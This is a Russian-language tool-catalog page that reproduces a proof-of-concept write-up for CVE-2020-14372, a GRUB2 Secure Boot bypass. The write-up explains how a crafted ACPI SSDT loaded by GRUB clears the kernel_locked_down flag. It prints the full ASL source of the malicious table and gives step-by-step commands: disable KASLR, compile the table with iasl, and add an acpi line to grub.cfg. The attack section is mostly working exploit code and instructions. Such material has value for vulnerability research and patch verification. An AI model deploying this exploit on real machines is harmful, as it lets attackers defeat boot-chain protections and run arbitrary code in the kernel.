Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-14372 — Эксплойт Proof-of-concept и описание для CVE-2020-14372, демонстрирующие обход Secure Boot с помощью вредоносного ACPI SSDT для отключения блокировки ядра и выполнения произвольного кода. | Kitploit
Инструменты/GitHubGitHub/kukrimate/cve-2020-14372
Повышение привилегийГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubkukrimate/cve-2020-14372

CVE-2020-14372

Эксплойт Proof-of-concept и описание для CVE-2020-14372, демонстрирующие обход Secure Boot с помощью вредоносного ACPI SSDT для отключения блокировки ядра и выполнения произвольного кода.

Репозиторий
4125 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-14372: Обход (не совсем) Secure Boot с помощью одного «простого трюка»

Детали уязвимости

Однажды я ввел «help» в консоли GRUB2 и увидел несколько действительно «забавных» команд:

  • read_byte ADDR: Чтение 8-битного значения по адресу ADDR
  • write_byte ADDR VAL: Запись 8-битного значения VAL по адресу ADDR

Я сразу подумал, что нашел самый забавный способ обхода Secure Boot, но эти команды выводят следующее при включенном Secure Boot:

root@kitploit:~
error: Secure Boot forbids loading module .../memrw.mod.

Из любопытства, загрузившись таким образом, я ввел команду «acpi», и она вывела сообщение об использовании, сообщающее, что нужно указать ей файл AML. Хорошо известно, что другое название ACPI — это «механизм для выполнения произвольного кода от поставщика в контексте вашего ядра». Поскольку мы можем загружать таблицы ACPI с включенным Secure Boot, мы и есть тот «поставщик», который может предоставить этот код.

Но поскольку в сегменте данных загруженного ядра есть однобайтовый флаг (kernel_locked_down), который сообщает, «заблокировано» ли оно, мы можем просто перезаписать этот флаг с помощью SSDT и позволить ядру загружать произвольные модули.

Следующий SSDT достигает этого путем создания объекта «battery» с именем HACK и выполнения записи в методе _INI этого объекта, который всегда выполняется ядром:

root@kitploit:~
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

Я написал proof of concept эксплойт на Python, который помогает с генерацией этого SSDT, но выполнение эксплойта вручную тоже не так уж сложно. Примерный план выглядит следующим образом:

  1. Отключите KASLR, добавив nokaslr в командную строку ядра
  2. Найдите физический адрес символа kernel_locked_down после загрузки без KASLR
  3. Вставьте адрес в приведенный выше SSDT, затем скомпилируйте этот SSDT с помощью iasl
  4. Наконец, укажите GRUB2 загрузить этот SSDT

Как использовать PoC

Предположения:

  • Злоумышленник имеет root-доступ к работающей операционной системе
  • Linux загружен под UEFI Secure Boot с GRUB2 версии <=2.02 (некоторые сборки 2.02 пропатчены), это приведет к включению блокировки ядра

Когда вышеуказанные предположения выполнены, отредактируйте /etc/default/grub, добавьте nokaslr в GRUB_CMDLINE_LINUX_DEFAULT, выполните update-grub и, наконец, перезагрузитесь.

После загрузки ядра без рандомизации адресного пространства скрипт genssdt.py можно использовать для генерации «вредоносного» SSDT, который исправит память ядра во время выполнения, чтобы отключить блокировку:

root@kitploit:~
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

Теперь, когда SSDT создан, файл конфигурации GRUB (обычно /boot/grub/grub.cfg) необходимо отредактировать, чтобы GRUB загрузил этот SSDT (добавив это в начало этого файла):

root@kitploit:~
acpi (hd0,gpt1)/evil_ssdt.aml

В зависимости от того, где находится системный раздел EFI (куда мы поместили SSDT выше) на диске, (hd0,gpt1) возможно, потребуется заменить на что-то другое.

Наконец, после перезагрузки блокировка ядра должна быть отключена, что даст root возможность выполнять произвольный код в ядре.

Скачать инструмент